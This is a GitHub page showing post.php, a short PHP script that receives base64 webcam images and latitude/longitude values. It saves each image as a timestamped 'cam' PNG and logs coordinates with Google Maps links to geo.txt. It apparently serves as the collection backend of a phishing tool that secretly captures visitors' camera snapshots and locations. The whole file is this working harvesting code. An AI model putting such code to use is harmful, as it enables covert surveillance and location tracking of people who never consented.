-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpost.php
More file actions
49 lines (38 loc) · 1.42 KB
/
post.php
File metadata and controls
49 lines (38 loc) · 1.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
header('Content-Type: application/json');
$date = date('dMYHis');
$imageData = isset($_POST['cat']) ? $_POST['cat'] : '';
$latitude = isset($_POST['lat']) ? $_POST['lat'] : '';
$longitude = isset($_POST['lng']) ? $_POST['lng'] : '';
if (empty($imageData)) {
echo json_encode(['status' => 'error', 'message' => 'No image data received']);
exit();
}
error_log("Received" . "\r\n", 3, "Log.log");
$commaPos = strpos($imageData, ',');
if ($commaPos === false) {
echo json_encode(['status' => 'error', 'message' => 'Invalid image data format']);
exit();
}
$filteredData = substr($imageData, $commaPos + 1);
$unencodedData = base64_decode($filteredData);
if ($unencodedData === false) {
echo json_encode(['status' => 'error', 'message' => 'Base64 decode failed']);
exit();
}
$fp = fopen('cam' . $date . '.png', 'wb');
fwrite($fp, $unencodedData);
fclose($fp);
if (!empty($latitude) && !empty($longitude)) {
$geoFile = 'geo.txt';
$gf = fopen($geoFile, 'a');
fwrite($gf, "Time: " . date('Y-m-d H:i:s T') . "\r\n");
fwrite($gf, "Latitude: " . $latitude . "\r\n");
fwrite($gf, "Longitude: " . $longitude . "\r\n");
fwrite($gf, "Map: https://maps.google.com/?q=" . $latitude . ',' . $longitude . "\r\n");
fwrite($gf, str_repeat('-', 40) . "\r\n");
fclose($gf);
}
echo json_encode(['status' => 'ok', 'file' => 'cam' . $date . '.png']);
exit();
?>